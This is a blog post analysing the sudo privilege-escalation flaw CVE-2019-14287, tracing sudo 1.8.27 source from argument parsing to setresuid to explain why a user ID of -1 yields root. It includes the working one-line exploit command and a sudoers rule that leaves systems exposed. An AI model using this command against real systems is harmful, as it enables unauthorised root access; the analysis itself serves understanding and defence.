CVE-2019-14287: Local Privilege Escalation

Yesterday, a local privilege escalation vulnerability of sudo was reported by a security researcher, Joe Vennix. The proof of concept is simple but the exploitation of that can be powerful.

$ sudo -u#-1 whoami
root

-u#-1 means that, sudo is required to run the command as the user with id equals to -1.

With merely 5 more characters (the highlighted ones) you can do a local privilege escalation for all sudo version prior to 1.8.28. Isn't that amazing (and maybe dangerous as well)? Let's dive into it and see what happens inside. sudo version 1.8.27 will be used for demonstration in this post. (It can be downloaded at https://www.sudo.ws/dist/sudo-1.8.27.tar.gz)

Given that the vulnerability is related to the command line argument, it would be a great idea to the src/parse_args.c file firstly.

Between line 453 and 458 in src/parse_args.c, the code here assigns the string value of -u to sudo_settings[ARG_RUNAS_USER].value if the string is not NULL.

case 'u':
    if (*optarg == '\0')
        usage(1);
    runas_user = optarg;
    sudo_settings[ARG_RUNAS_USER].value = optarg;
    break;

Naturally, the variable sudo_settings should be followed to see relevant operations. In the same function of above code, just about the bottom, sudo_settings gets stored in *settingsp. (Line 613)

*settingsp = sudo_settings;

And settingsp is one of the argument that passed to parse_args().

/*
 * Command line argument parsing.
 * Sets nargc and nargv which corresponds to the argc/argv we'll use
 * for the command to be run (if we are running one).
 */
int
parse_args(int argc, char **argv, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)

Now let's locate where are the places that calls parse_args() by using grep.

grep 'parse_args(' */*.c

The output clearly tells that, src/sudo.c is the only place that calls parse_args(). Head to src/sudo.c and check what's going on there. In line 195-196 of src/sudo.c:

/* Parse command line arguments. */
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

This is the location where settings, i.e., settingsp in parse_args(), gets retrieved. While intuitively tracking down settings, please notice that parse_args() also returns the what mode sudo is in. Because settings are used in 3 different lines below.

// 1. Line 213-214
/* Open policy plugin. */
ok = policy_open(&policy_plugin, settings, user_info, envp);


// 2. Line 226-227
case MODE_VERSION:
        // ...
        ok = iolog_open(plugin, settings, user_info, NULL,
            nargc, nargv, envp);
    break;


// 3. Line 266-267
case MODE_RUN:
    // ...
    ok = iolog_open(plugin, settings, user_info,
        command_info, nargc, nargv, user_env_out);

Considering that the PoC is sudo -u#-1 whoami, the mode should be MODE_RUN. Thus our focus moves to iolog_open(). Since that there is another eye-catching variable, command_info.

Within 20 lines below, command_info is used to setup the command_details.

/* Setup command details and run command/edit. */
command_info_to_details(command_info, &command_details);

After some routine checks, run_command() is called with command_details.

status = run_command(&command_details);

At this point, we can assure that command_info_to_details() and run_command() are exactly what we are looking for. Let's jump to the body of command_info_to_details(), which is between line 624-841 in src/sudo.c.

Though it seems to be a lot of lines of code, we actually already know the keywords of this exploit: uid. That leads us to the following code,

if (strncmp("runas_uid=", info[i], sizeof("runas_uid=") - 1) == 0) {
    cp = info[i] + sizeof("runas_uid=") - 1;
    id = sudo_strtoid(cp, NULL, NULL, &errstr);
    if (errstr != NULL)
        sudo_fatalx(U_("%s: %s"), info[i], U_(errstr));
        details->uid = (uid_t)id;
        SET(details->flags, CD_SET_UID);
        break;
    }
}

The highlighted line is where sudo converts the designated uid from string to id. Without further ado, let's see the inside of sudo_strtoid(). And it turns out that, sudo_strtoid() is defined in lib/util/strtoid.c.

grep 'sudo_strtoid' */*/*.c

However, the function in lib/util/strtoid.c is named sudo_strtoid_v1(). Where is the sudo_strtoid()? With a little bit more grep, we can see that in include/sudo_util.h, there is a macro

/* strtoid.c */
__dso_public id_t sudo_strtoid_v1(const char *str, const char *sep, char **endp, const char **errstr);
#define sudo_strtoid(_a, _b, _c, _d) sudo_strtoid_v1((_a), (_b), (_c), (_d))

Basically, this suggests that sudo_strtoid() is exactly sudo_strtoid_v1().

And speaking of sudo_strtoid_v1(), it has two different implementations according to the size of id_t. (In lib/util/strtoid.c)

/*
 * Parse a uid/gid in string form.
 * If sep is non-NULL, it contains valid separator characters (e.g. comma, space)
 * If endp is non-NULL it is set to the next char after the ID.
 * On success, returns the parsed ID and clears errstr.
 * On error, returns 0 and sets errstr.
 */
#if SIZEOF_ID_T == SIZEOF_LONG_LONG
id_t
sudo_strtoid_v1(const char *p, const char *sep, char **endp, const char **errstr)
{
    // ...
}
#else
id_t
sudo_strtoid_v1(const char *p, const char *sep, char **endp, const char **errstr)
{
    // ...
}
#endif /* SIZEOF_ID_T == 8 */

The size of id_t is 4 in typical situation, and it is a signed type. These can be verified by this tiny test.

So we will look into the second implementation of sudo_strtoid_v1(), i.e., line 104-175. And in our settings, -1 is the value of -u, thus we can only check the code in if (*p == '-').

// ...
id_t ret = 0;
// ...
if (*p == '-') {
long lval = strtol(p, &ep, 10);
if (ep != p) {
    /* check for valid separator (including '\0') */
    do {
    if (*ep == *sep)
        valid = true;
    } while (*sep++ != '\0');
}
if (!valid) {
    if (errstr != NULL)
        *errstr = N_("invalid value");
    errno = EINVAL;
    goto done;
}
if ((errno == ERANGE && lval == LONG_MAX) || lval > INT_MAX) {
    errno = ERANGE;
    if (errstr != NULL)
        *errstr = N_("value too large");
    goto done;
}
if ((errno == ERANGE && lval == LONG_MIN) || lval < INT_MIN) {
    errno = ERANGE;
    if (errstr != NULL)
        *errstr = N_("value too small");
    goto done;
}
ret = (id_t)lval;
}

-1 is definitely a good value for strtol() and can also pass the following range checks in sudo_strtoid_v1(). So, with return value as -1, we go back to src/sudo.c

if (strncmp("runas_uid=", info[i], sizeof("runas_uid=") - 1) == 0) {
    cp = info[i] + sizeof("runas_uid=") - 1;
    id = sudo_strtoid(cp, NULL, NULL, &errstr);
    if (errstr != NULL)
        sudo_fatalx(U_("%s: %s"), info[i], U_(errstr));
        details->uid = (uid_t)id;
        SET(details->flags, CD_SET_UID);
        break;
    }
}

The highlighted line above stores the -1 uid in details->uid, and details is command_details which we passed in command_info_to_details(command_info, &command_details).

When run_command() gets called with command_details, it passes details to sudo_execute() (In line 981, src/sudo.c). Keep tracking and sudo_execute() is located in src/exec.c.

sudo_execute() distinguishes a few situations related to pty, and they are

/*
 * Run the command in a new pty if there is an I/O plugin or the policy
 * has requested a pty.  If /dev/tty is unavailable and no I/O plugin
 * is configured, this returns false and we run the command without a pty.
 */
if (sudo_needs_pty(details)) {
if (exec_pty(details, cstat))
    goto done;
}

/*
 * If we are not running the command in a pty, we were not invoked
 * as sudoedit, there is no command timeout and there is no close
 * function, just exec directly.  Only returns on error.
 */
if (!ISSET(details->flags, CD_SET_TIMEOUT|CD_SUDOEDIT) &&
policy_plugin.u.policy->close == NULL) {
if (!sudo_terminated(cstat)) {
    exec_cmnd(details, -1);
    cstat->type = CMD_ERRNO;
    cstat->val = errno;
}
goto done;
}

/*
 * Run the command in the existing tty (if any) and wait for it to finish.
 */
exec_nopty(details, cstat);

But it doesn't matter, because all of them will call exec_cmnd() eventually.

For exec_pty(), the call stack would be something like:

1. exec_cmnd(), line 442 in src/exec_monitor.c
2. exec_monitor(), line 1508 in src/exec_pty.c
3. exec_pty(), line 417 in src/exec.c

And in the second situation, exec_cmnd() is called directly. For the last one, its call stack would be

1. exec_cmnd(), line 388 in src/exec_nopty.c
2. exec_nopty(), line 439 in src/exec.c

As you can see, all 3 different conditions end up in calling exec_cmnd() in src/exec.c. Well then, what does exec_cmnd() do? Almost at the beginning of exec_cmnd(), exec_setup() is called. (At line 270)

/*
 * Setup the execution environment and execute the command.
 * If SELinux is enabled, run the command via sesh, otherwise
 * execute it directly.
 * If the exec fails, cstat is filled in with the value of errno.
 */
void
exec_cmnd(struct command_details *details, int errfd)
{
    debug_decl(exec_cmnd, SUDO_DEBUG_EXEC)

    restore_signals();
    if (exec_setup(details, NULL, -1) == true) {

Luckily, exec_setup() is inside src/exec.c as well. It is started from line 101, and ended in line 256. And finally, around the last few lines of exec_setup(), we can see that the most critical function is called! setresuid(), setreuid() and setuid(), one of them will be called based on the macro defined in compile-time.

#if defined(HAVE_SETRESUID)
    if (setresuid(details->uid, details->euid, details->euid) != 0) {
    sudo_warn(U_("unable to change to runas uid (%u, %u)"),
        (unsigned int)details->uid, (unsigned int)details->euid);
    goto done;
    }
#elif defined(HAVE_SETREUID)
    if (setreuid(details->uid, details->euid) != 0) {
    sudo_warn(U_("unable to change to runas uid (%u, %u)"),
        (unsigned int)details->uid, (unsigned int)details->euid);
    goto done;
    }
#else
    /* Cannot support real user ID that is different from effective user ID. */
    if (setuid(details->euid) != 0) {
    sudo_warn(U_("unable to change to runas uid (%u, %u)"),
        (unsigned int)details->euid, (unsigned int)details->euid);
    goto done;
    }
#endif /* !HAVE_SETRESUID && !HAVE_SETREUID */

Notice that details->uid is finally used here to change to run as requested user. And the value of details->uid is -1.

However, the setresuid(2) and setreuid(2) system calls, which sudo uses to change the user ID before running the command, treat user ID -1 (or its unsigned equivalent 4294967295), specially and do not change the user ID for this value.

Boooooom! Local Privilege Escalation!

But this exploit is conditional( ;´Д`) Just like the figure above, the normal user has to be in the /etc/sudoers files, and also has be declared that can run as other users. This vulnerability can be exploited even if explicitly forbids running as root (as the line below).

exploit ALL=(ALL, !root) /usr/bin/vim
声明: 本文为0xBBC原创, 转载注明出处喵~

Leave a Reply

Your email address will not be published. Required fields are marked *